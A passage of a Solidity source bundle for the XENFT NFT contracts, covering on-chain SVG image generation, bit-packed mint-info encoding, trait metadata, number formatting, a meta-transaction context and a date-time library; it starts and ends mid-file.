pos(coords),\n 'id=\"g',\n id.toString(),\n '\">',\n stops,\n \"</linearGradient>\"\n );\n }\n\n /**\n @dev internal helper to create `Defs` SVG tag\n */\n function defs(Gradient memory grad) internal pure returns (bytes memory) {\n return abi.encodePacked(\"<defs>\", linearGradient(grad.colors, 0, grad.coords), \"</defs>\");\n }\n\n /**\n @dev internal helper to create `Rect` SVG tag\n */\n function rect(uint256 id) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<rect \"\n 'width=\"100%\" '\n 'height=\"100%\" '\n 'fill=\"url(#g',\n id.toString(),\n ')\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n \"/>\"\n );\n }\n\n /**\n @dev internal helper to create border `Rect` SVG tag\n */\n function border() internal pure returns (string memory) {\n return\n \"<rect \"\n 'width=\"94%\" '\n 'height=\"96%\" '\n 'fill=\"transparent\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n 'x=\"3%\" '\n 'y=\"2%\" '\n 'stroke-dasharray=\"1,6\" '\n 'stroke=\"white\" '\n \"/>\";\n }\n\n /**\n @dev internal helper to create group `G` SVG tag\n */\n function g(uint256 gradientsCount) internal pure returns (bytes memory) {\n string memory background = \"\";\n for (uint256 i = 0; i < gradientsCount; i++) {\n background = string.concat(background, string(rect(i)));\n }\n return abi.encodePacked(\"<g>\", background, border(), \"</g>\");\n }\n\n /**\n @dev internal helper to create XEN logo line pattern with 2 SVG `lines`\n */\n function logo() internal pure returns (bytes memory) {\n return abi.encodePacked();\n }\n\n /**\n @dev internal helper to create `Text` SVG tag with XEN Crypto contract data\n */\n function contractData(string memory symbol, address xenAddress) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"5%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">',\n symbol,\n unicode\"・\",\n xenAddress.toHexString(),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to create cRank range string\n */\n function rankAndCount(uint256 rank, uint256 count) internal pure returns (bytes memory) {\n if (count == 1) return abi.encodePacked(rank.toString());\n return abi.encodePacked(rank.toString(), \"..\", (rank + count - 1).toString());\n }\n\n /**\n @dev internal helper to create 1st part of metadata section of SVG\n */\n function meta1(\n uint256 tokenId,\n uint256 count,\n uint256 eaa,\n string memory series,\n uint256 xenBurned\n ) internal pure returns (bytes memory) {\n bytes memory part1 = abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"50%\" '\n 'class=\"base \" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">'\n \"XEN CRYPTO\"\n \"</text>\"\n \"<text \"\n 'x=\"50%\" '\n 'y=\"56%\" '\n 'class=\"base burn\" '\n 'text-anchor=\"middle\" '\n 'dominant-baseline=\"middle\"> ',\n xenBurned > 0 ? string.concat((xenBurned / 10**18).toFormattedString(), \" X\") : \"\",\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"62%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\"> '\n \"#\",\n tokenId.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"82%\" '\n 'y=\"62%\" '\n 'class=\"base meta series\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"end\" >',\n series,\n \"</text>\"\n );\n bytes memory part2 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"68%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"VMU: \",\n count.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"72%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"EAA: \",\n (eaa / 10).toString(),\n \"%\"\n \"</text>\"\n );\n return abi.encodePacked(part1, part2);\n }\n\n /**\n @dev internal helper to create 2nd part of metadata section of SVG\n */\n function meta2(\n uint256 maturityTs,\n uint256 amp,\n uint256 term,\n uint256 rank,\n uint256 count\n ) internal pure returns (bytes memory) {\n bytes memory part3 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"76%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"AMP: \",\n amp.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"80%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Term: \",\n term.toString()\n );\n bytes memory part4 = abi.encodePacked(\n \" days\"\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"84%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"cRank: \",\n rankAndCount(rank, count),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"88%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Maturity: \",\n maturityTs.asString(),\n \"</text>\"\n );\n return abi.encodePacked(part3, part4);\n }\n\n /**\n @dev internal helper to create `Text` SVG tag for XEN quote\n */\n function quote(uint256 idx) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"95%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" >',\n StringData.getQuote(StringData.QUOTES, idx),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to generate `Redeemed` stamp\n */\n function stamp(bool redeemed) internal pure returns (bytes memory) {\n if (!redeemed) return \"\";\n return\n abi.encodePacked(\n \"<rect \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'width=\"100\" '\n 'height=\"40\" '\n 'stroke=\"black\" '\n 'stroke-width=\"1\" '\n 'fill=\"none\" '\n 'rx=\"5px\" '\n 'ry=\"5px\" '\n 'transform=\"translate(-50,-20) '\n 'rotate(-20,0,400)\" />',\n \"<text \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'stroke=\"black\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" '\n 'transform=\"translate(0,0) rotate(-20,-45,380)\" >'\n \"Redeemed\"\n \"</text>\"\n );\n }\n\n /**\n @dev main internal helper to create SVG file representing XENFT\n */\n function image(\n SvgParams memory params,\n Gradient[] memory gradients,\n uint256 idx,\n bool apex,\n bool limited\n ) internal pure returns (bytes memory) {\n string memory mark = limited ? _LIMITED : apex ? _APEX : _COLLECTOR;\n bytes memory graphics = abi.encodePacked(defs(gradients[0]), _STYLE, g(gradients.length), _LOGO, mark);\n bytes memory metadata = abi.encodePacked(\n contractData(params.symbol, params.xenAddress),\n meta1(params.tokenId, params.count, params.eaa, params.series, params.xenBurned),\n meta2(params.maturityTs, params.amp, params.term, params.rank, params.count),\n quote(idx),\n stamp(params.redeemed)\n );\n return\n abi.encodePacked(\n \"<svg \"\n 'xmlns=\"http://www.w3.org/2000/svg\" '\n 'preserveAspectRatio=\"xMinYMin meet\" '\n 'viewBox=\"0 0 350 566\">',\n graphics,\n metadata,\n \"</svg>\"\n );\n }\n}\n"
},
"/contracts/libs/MintInfo.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n// MintInfo encoded as:\n// term (uint16)\n// | maturityTs (uint64)\n// | rank (uint128)\n// | amp (uint16)\n// | eaa (uint16)\n// | class (uint8):\n// [7] isApex\n// [6] isLimited\n// [0-5] powerGroupIdx\n// | redeemed (uint8)\nlibrary MintInfo {\n /**\n @dev helper to convert Bool to U256 type and make compiler happy\n */\n function toU256(bool x) internal pure returns (uint256 r) {\n assembly {\n r := x\n }\n }\n\n /**\n @dev encodes MintInfo record from its props\n */\n function encodeMintInfo(\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class_,\n bool redeemed\n ) public pure returns (uint256 info) {\n info = info | (toU256(redeemed) & 0xFF);\n info = info | ((class_ & 0xFF) << 8);\n info = info | ((eaa & 0xFFFF) << 16);\n info = info | ((amp & 0xFFFF) << 32);\n info = info | ((rank & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) << 48);\n info = info | ((maturityTs & 0xFFFFFFFFFFFFFFFF) << 176);\n info = info | ((term & 0xFFFF) << 240);\n }\n\n /**\n @dev decodes MintInfo record and extracts all of its props\n */\n function decodeMintInfo(uint256 info)\n public\n pure\n returns (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class,\n bool apex,\n bool limited,\n bool redeemed\n )\n {\n term = uint16(info >> 240);\n maturityTs = uint64(info >> 176);\n rank = uint128(info >> 48);\n amp = uint16(info >> 32);\n eaa = uint16(info >> 16);\n class = uint8(info >> 8) & 0x3F;\n apex = (uint8(info >> 8) & 0x80) > 0;\n limited = (uint8(info >> 8) & 0x40) > 0;\n redeemed = uint8(info) == 1;\n }\n\n /**\n @dev extracts `term` prop from encoded MintInfo\n */\n function getTerm(uint256 info) public pure returns (uint256 term) {\n (term, , , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `maturityTs` prop from encoded MintInfo\n */\n function getMaturityTs(uint256 info) public pure returns (uint256 maturityTs) {\n (, maturityTs, , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `rank` prop from encoded MintInfo\n */\n function getRank(uint256 info) public pure returns (uint256 rank) {\n (, , rank, , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `AMP` prop from encoded MintInfo\n */\n function getAMP(uint256 info) public pure returns (uint256 amp) {\n (, , , amp, , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `EAA` prop from encoded MintInfo\n */\n function getEAA(uint256 info) public pure returns (uint256 eaa) {\n (, , , , eaa, , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getClass(uint256 info)\n public\n pure\n returns (\n uint256 class_,\n bool apex,\n bool limited\n )\n {\n (, , , , , class_, apex, limited, ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getRedeemed(uint256 info) public pure returns (bool redeemed) {\n (, , , , , , , , redeemed) = decodeMintInfo(info);\n }\n}\n"
},
"/contracts/libs/Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./MintInfo.sol\";\nimport \"./DateTime.sol\";\nimport \"./FormattedStrings.sol\";\nimport \"./SVG.sol\";\n\n/**\n @dev Library contains methods to generate on-chain NFT metadata\n*/\nlibrary Metadata {\n using DateTime for uint256;\n using MintInfo for uint256;\n using Strings for uint256;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n uint256 public constant MAX_POWER = 52_500;\n\n uint256 public constant COLORS_FULL_SCALE = 300;\n uint256 public constant SPECIAL_LUMINOSITY = 45;\n uint256 public constant BASE_SATURATION = 75;\n uint256 public constant BASE_LUMINOSITY = 38;\n uint256 public constant GROUP_SATURATION = 100;\n uint256 public constant GROUP_LUMINOSITY = 50;\n uint256 public constant DEFAULT_OPACITY = 1;\n uint256 public constant NO_COLOR = 360;\n\n // PRIVATE HELPERS\n\n // The following pure methods returning arrays are workaround to use array constants,\n // not yet available in Solidity\n\n function _powerGroupColors() private pure returns (uint256[8] memory) {\n return [uint256(360), 1, 30, 60, 120, 180, 240, 300];\n }\n\n function _huesApex() private pure returns (uint256[3] memory) {\n return [uint256(169), 210, 305];\n }\n\n function _huesLimited() private pure returns (uint256[3] memory) {\n return [uint256(263), 0, 42];\n }\n\n function _stopOffsets() private pure returns (uint256[3] memory) {\n return [uint256(10), 50, 90];\n }\n\n function _gradColorsRegular() private pure returns (uint256[4] memory) {\n return [uint256(150), 150, 20, 20];\n }\n\n function _gradColorsBlack() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 20, 20];\n }\n\n function _gradColorsSpecial() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 0, 0];\n }\n\n /**\n @dev private helper to determine XENFT group index by its power\n (power = count of VMUs * mint term in days)\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev private helper to generate SVG gradients for special XENFT categories\n */\n function _specialClassGradients(bool rare) private pure returns (SVG.Gradient[] memory gradients) {\n uint256[3] memory specialColors = rare ? _huesApex() : _huesLimited();\n SVG.Color[] memory colors = new SVG.Color[](3);\n for (uint256 i = 0; i < colors.length; i++) {\n colors[i] = SVG.Color({\n h: specialColors[i],\n s: BASE_SATURATION,\n l: SPECIAL_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[i]\n });\n }\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({colors: colors, id: 0, coords: _gradColorsSpecial()});\n }\n\n /**\n @dev private helper to generate SVG gradients for common XENFT category\n */\n function _commonCategoryGradients(uint256 vmus, uint256 term)\n private\n pure\n returns (SVG.Gradient[] memory gradients)\n {\n SVG.Color[] memory colors = new SVG.Color[](2);\n uint256 powerHue = term * vmus > MAX_POWER ? NO_COLOR : 1 + (term * vmus * COLORS_FULL_SCALE) / MAX_POWER;\n // group\n uint256 groupHue = _powerGroupColors()[_powerGroup(vmus, term) > 7 ? 7 : _powerGroup(vmus, term)];\n colors[0] = SVG.Color({\n h: groupHue,\n s: groupHue == NO_COLOR ? 0 : GROUP_SATURATION,\n l: groupHue == NO_COLOR ? 0 : GROUP_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[0]\n });\n // power\n colors[1] = SVG.Color({\n h: powerHue,\n s: powerHue == NO_COLOR ? 0 : BASE_SATURATION,\n l: powerHue == NO_COLOR ? 0 : BASE_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[2]\n });\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({\n colors: colors,\n id: 0,\n coords: groupHue == NO_COLOR ? _gradColorsBlack() : _gradColorsRegular()\n });\n }\n\n // PUBLIC INTERFACE\n\n /**\n @dev public interface to generate SVG image based on XENFT params\n */\n function svgData(\n uint256 tokenId,\n uint256 count,\n uint256 info,\n address token,\n uint256 burned\n ) external view returns (bytes memory) {\n string memory symbol = IERC20Metadata(token).symbol();\n (uint256 classIds, bool rare, bool limited) = info.getClass();\n SVG.SvgParams memory params = SVG.SvgParams({\n symbol: symbol,\n xenAddress: token,\n tokenId: tokenId,\n term: info.getTerm(),\n rank: info.getRank(),\n count: count,\n maturityTs: info.getMaturityTs(),\n amp: info.getAMP(),\n eaa: info.getEAA(),\n xenBurned: burned,\n series: StringData.getClassName(StringData.CLASSES, classIds),\n redeemed: info.getRedeemed()\n });\n uint256 quoteIdx = uint256(keccak256(abi.encode(info))) % StringData.QUOTES_COUNT;\n if (rare || limited) {\n return SVG.image(params, _specialClassGradients(rare), quoteIdx, rare, limited);\n }\n return SVG.image(params, _commonCategoryGradients(count, info.getTerm()), quoteIdx, rare, limited);\n }\n\n function _attr1(\n uint256 count,\n uint256 rank,\n uint256 class_\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Class\",\"value\":\"',\n StringData.getClassName(StringData.CLASSES, class_),\n '\"},'\n '{\"trait_type\":\"VMUs\",\"value\":\"',\n count.toString(),\n '\"},'\n '{\"trait_type\":\"cRank\",\"value\":\"',\n rank.toString(),\n '\"},'\n );\n }\n\n function _attr2(\n uint256 amp,\n uint256 eaa,\n uint256 maturityTs\n ) private pure returns (bytes memory) {\n (uint256 year, string memory month) = DateTime.yearAndMonth(maturityTs);\n return\n abi.encodePacked(\n '{\"trait_type\":\"AMP\",\"value\":\"',\n amp.toString(),\n '\"},'\n '{\"trait_type\":\"EAA (%)\",\"value\":\"',\n (eaa / 10).toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Year\",\"value\":\"',\n year.toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Month\",\"value\":\"',\n month,\n '\"},'\n );\n }\n\n function _attr3(\n uint256 maturityTs,\n uint256 term,\n uint256 burned\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Maturity DateTime\",\"value\":\"',\n maturityTs.asString(),\n '\"},'\n '{\"trait_type\":\"Term\",\"value\":\"',\n term.toString(),\n '\"},'\n '{\"trait_type\":\"XEN Burned\",\"value\":\"',\n (burned / 10**18).toString(),\n '\"},'\n );\n }\n\n function _attr4(bool apex, bool limited) private pure returns (bytes memory) {\n string memory category = \"Collector\";\n if (limited) category = \"Limited\";\n if (apex) category = \"Apex\";\n return abi.encodePacked('{\"trait_type\":\"Category\",\"value\":\"', category, '\"}');\n }\n\n /**\n @dev private helper to construct attributes portion of NFT metadata\n */\n function attributes(\n uint256 count,\n uint256 burned,\n uint256 mintInfo\n ) external pure returns (bytes memory) {\n (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 series,\n bool apex,\n bool limited,\n\n ) = MintInfo.decodeMintInfo(mintInfo);\n return\n abi.encodePacked(\n \"[\",\n _attr1(count, rank, series),\n _attr2(amp, eaa, maturityTs),\n _attr3(maturityTs, term, burned),\n _attr4(apex, limited),\n \"]\"\n );\n }\n\n function formattedString(uint256 n) public pure returns (string memory) {\n return FormattedStrings.toFormattedString(n);\n }\n}\n"
},
"/contracts/libs/FormattedStrings.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary FormattedStrings {\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n Base on OpenZeppelin `toString` method from `String` library\n */\n function toFormattedString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n uint256 pos;\n uint256 comas = digits / 3;\n digits = digits + (digits % 3 == 0 ? comas - 1 : comas);\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n if (pos == 3) {\n buffer[digits] = \",\";\n pos = 0;\n } else {\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n pos++;\n }\n }\n return string(buffer);\n }\n}\n"
},
"/contracts/libs/ERC2771Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (metatx/ERC2771Context.sol)\n\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\";\n\n/**\n * @dev Context variant with ERC2771 support.\n */\nabstract contract ERC2771Context is Context {\n /// @custom:oz-upgrades-unsafe-allow state-variable-immutable\n // one-time settable var\n address internal _trustedForwarder;\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor(address trustedForwarder) {\n _trustedForwarder = trustedForwarder;\n }\n\n function isTrustedForwarder(address forwarder) public view virtual returns (bool) {\n return forwarder == _trustedForwarder;\n }\n\n function _msgSender() internal view virtual override returns (address sender) {\n if (isTrustedForwarder(msg.sender)) {\n // The assembly code is more direct than the Solidity version using `abi.decode`.\n /// @solidity memory-safe-assembly\n assembly {\n sender := shr(96, calldataload(sub(calldatasize(), 20)))\n }\n } else {\n return super._msgSender();\n }\n }\n\n function _msgData() internal view virtual override returns (bytes calldata) {\n if (isTrustedForwarder(msg.sender)) {\n return msg.data[:msg.data.length - 20];\n } else {\n return super._msgData();\n }\n }\n}\n"
},
"/contracts/libs/DateTime.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./BokkyPooBahsDateTimeLibrary.sol\";\n\n/*\n @dev Library to convert epoch timestamp to a human-readable Date-Time string\n @dependency uses BokkyPooBahsDateTimeLibrary.sol library internally\n */\nlibrary DateTime {\n using Strings for uint256;\n\n bytes public constant MONTHS = bytes(\"JanFebMarAprMayJunJulAugSepOctNovDec\");\n\n /**\n * @dev returns month as short (3-letter) string\n */\n function monthAsString(uint256 idx) internal pure returns (string memory) {\n require(idx > 0, \"bad idx\");\n bytes memory str = new bytes(3);\n uint256 offset = (idx - 1) * 3;\n str[0] = bytes1(MONTHS[offset]);\n str[1] = bytes1(MONTHS[offset + 1]);\n str[2] = bytes1(MONTHS[offset + 2]);\n return string(str);\n }\n\n /**\n * @dev returns string representation of number left-padded for 2 symbols\n */\n function asPaddedString(uint256 n) internal pure returns (string memory) {\n if (n == 0) return \"00\";\n if (n < 10) return string.concat(\"0\", n.toString());\n return n.toString();\n }\n\n /**\n * @dev returns string of format 'Jan 01, 2022 18:00 UTC' for a given timestamp\n */\n function asString(uint256 ts) external pure returns (string memory) {\n (uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, ) = BokkyPooBahsDateTimeLibrary\n .timestampToDateTime(ts);\n return\n string(\n abi.encodePacked(\n monthAsString(month),\n \" \",\n day.toString(),\n \", \",\n year.toString(),\n \" \",\n asPaddedString(hour),\n \":\",\n asPaddedString(minute),\n \" UTC\"\n )\n );\n }\n\n /**\n * @dev returns (year, month as string) components of a date by timestamp\n */\n function yearAndMonth(uint256 ts) external pure returns (uint256, string memory) {\n (uint256 year, uint256 month, , , , ) = BokkyPooBahsDateTimeLibrary.timestampToDateTime(ts);\n return (year, monthAsString(month));\n }\n}\n"
},
"/contracts/libs/BokkyPooBahsDateTimeLibrary.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// ----------------------------------------------------------------------------\n// BokkyPooBah's DateTime Library v1.01\n//\n// A gas-efficient Solidity date and time library\n//\n// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary\n//\n// Tested date range 1970/01/01 to 2345/12/31\n//\n// Conventions:\n// Unit | Range | Notes\n// :-------- |:-------------:|:-----\n// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC\n// year | 1970 ... 2345 |\n// month | 1 ... 12 |\n// day | 1 ... 31 |\n// hour | 0 ... 23 |\n// minute | 0 ... 59 |\n// second | 0 ... 59 |\n// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday\n//\n//\n// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.\n// ----------------------------------------------------------------------------\n\nlibrary BokkyPooBahsDateTimeLibrary {\n uint256 constant _SECONDS_PER_DAY = 24 * 60 * 60;\n uint256 constant _SECONDS_PER_HOUR = 60 * 60;\n uint256 constant _SECONDS_PER_MINUTE = 60;\n int256 constant _OFFSET19700101 = 2440588;\n\n uint256 constant _DOW_FRI = 5;\n uint256 constant _DOW_SAT = 6;\n\n // ------------------------------------------------------------------------\n // Calculate the number of days from 1970/01/01 to year/month/day using\n // the date conversion algorithm from\n // https://aa.usno.navy.mil/faq/JD_formula.html\n // and subtracting the offset 2440588 so that 1970/01/01 is day 0\n //\n // days = day\n // - 32075\n // + 1461 * (year + 4800 + (month - 14) / 12) / 4\n // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12\n // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4\n // - offset\n // ------------------------------------------------------------------------\n function _daysFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) private pure returns (uint256 _days) {\n require(year >= 1970);\n int256 _year = int256(year);\n int256 _month = int256(month);\n int256 _day = int256(day);\n\n int256 __days = _day -\n 32075 +\n (1461 * (_year + 4800 + (_month - 14) / 12)) /\n 4 +\n (367 * (_month - 2 - ((_month - 14) / 12) * 12)) /\n 12 -\n (3 * ((_year + 4900 + (_month - 14) / 12) / 100)) /\n 4 -\n _OFFSET19700101;\n\n _days = uint256(__days);\n }\n\n // ------------------------------------------------------------------------\n // Calculate year/month/day from the number of days since 1970/01/01 using\n // the date conversion algorithm from\n // http://aa.usno.navy.mil/faq/docs/JD_Formula.php\n // and adding the offset 2440588 so that 1970/01/01 is day 0\n //\n // int L = days + 68569 + offset\n // int N = 4 * L / 146097\n // L = L - (146097 * N + 3) / 4\n // year = 4000 * (L + 1) / 1461001\n // L = L - 1461 * year / 4 + 31\n // month = 80 * L / 2447\n // dd = L - 2447 * month / 80\n // L = month / 11\n // month = month + 2 - 12 * L\n // year = 100 * (N - 49) + year + L\n // ------------------------------------------------------------------------\n function _daysToDate(uint256 _days)\n private\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n int256 __days = int256(_days);\n\n int256 L = __days + 68569 + _OFFSET19700101;\n int256 N = (4 * L) / 146097;\n L = L - (146097 * N + 3) / 4;\n int256 _year = (4000 * (L + 1)) / 1461001;\n L = L - (1461 * _year) / 4 + 31;\n int256 _month = (80 * L) / 2447;\n int256 _day = L - (2447 * _month) / 80;\n L = _month / 11;\n _month = _month + 2 - 12 * L;\n _year = 100 * (N - 49) + _year + L;\n\n year = uint256(_year);\n month = uint256(_month);\n day = uint256(_day);\n }\n\n function timestampFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (uint256 timestamp) {\n timestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY;\n }\n\n function timestampFromDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (uint256 timestamp) {\n timestamp =\n _daysFromDate(year, month, day) *\n _SECONDS_PER_DAY +\n hour *\n _SECONDS_PER_HOUR +\n minute *\n _SECONDS_PER_MINUTE +\n second;\n }\n\n function timestampToDate(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function timestampToDateTime(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n secs = secs % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n second = secs % _SECONDS_PER_MINUTE;\n }\n\n function isValidDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (bool valid) {\n if (year >= 1970 && month > 0 && month <= 12) {\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > 0 && day <= daysInMonth) {\n valid = true;\n }\n }\n }\n\n function isValidDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (bool valid) {\n if (isValidDate(year, month, day)) {\n if (hour < 24 && minute < 60 && second < 60) {\n valid = true;\n }\n }\n }\n\n function isLeapYear(uint256 timestamp) internal pure returns (bool leapYear) {\n (uint256 year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n leapYear = _isLeapYear(year);\n }\n\n function _isLeapYear(uint256 year) private pure returns (bool leapYear) {\n leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);\n }\n\n function isWeekDay(uint256 timestamp) internal pure returns (bool weekDay) {\n weekDay = getDayOfWeek(timestamp) <= _DOW_FRI;\n }\n\n function isWeekEnd(uint256 timestamp) internal pure returns (bool weekEnd) {\n weekEnd = getDayOfWeek(timestamp) >= _DOW_SAT;\n }\n\n function getDaysInMonth(uint256 timestamp) internal pure returns (uint256 daysInMonth) {\n (uint256 year, uint256 month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n daysInMonth = _getDaysInMonth(year, month);\n }\n\n function _getDaysInMonth(uint256 year, uint256 month) private pure returns (uint256 daysInMonth) {\n if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {\n daysInMonth = 31;\n } else if (month != 2) {\n daysInMonth = 30;\n } else {\n daysInMonth = _isLeapYear(year) ? 29 : 28;\n }\n }\n\n // 1 = Monday, 7 = Sunday\n function getDayOfWeek(uint256 timestamp) internal pure returns (uint256 dayOfWeek) {\n uint256 _days = timestamp / _SECONDS_PER_DAY;\n dayOfWeek = ((_days + 3) % 7) + 1;\n }\n\n function getYear(uint256 timestamp) internal pure returns (uint256 year) {\n (year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getMonth(uint256 timestamp) internal pure returns (uint256 month) {\n (, month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getDay(uint256 timestamp) internal pure returns (uint256 day) {\n (, , day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getHour(uint256 timestamp) internal pure returns (uint256 hour) {\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n }\n\n function getMinute(uint256 timestamp) internal pure returns (uint256 minute) {\n uint256 secs = timestamp % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n }\n\n function getSecond(uint256 timestamp) internal pure returns (uint256 second) {\n second = timestamp % _SECONDS_PER_MINUTE;\n }\n\n function addYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year += _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n 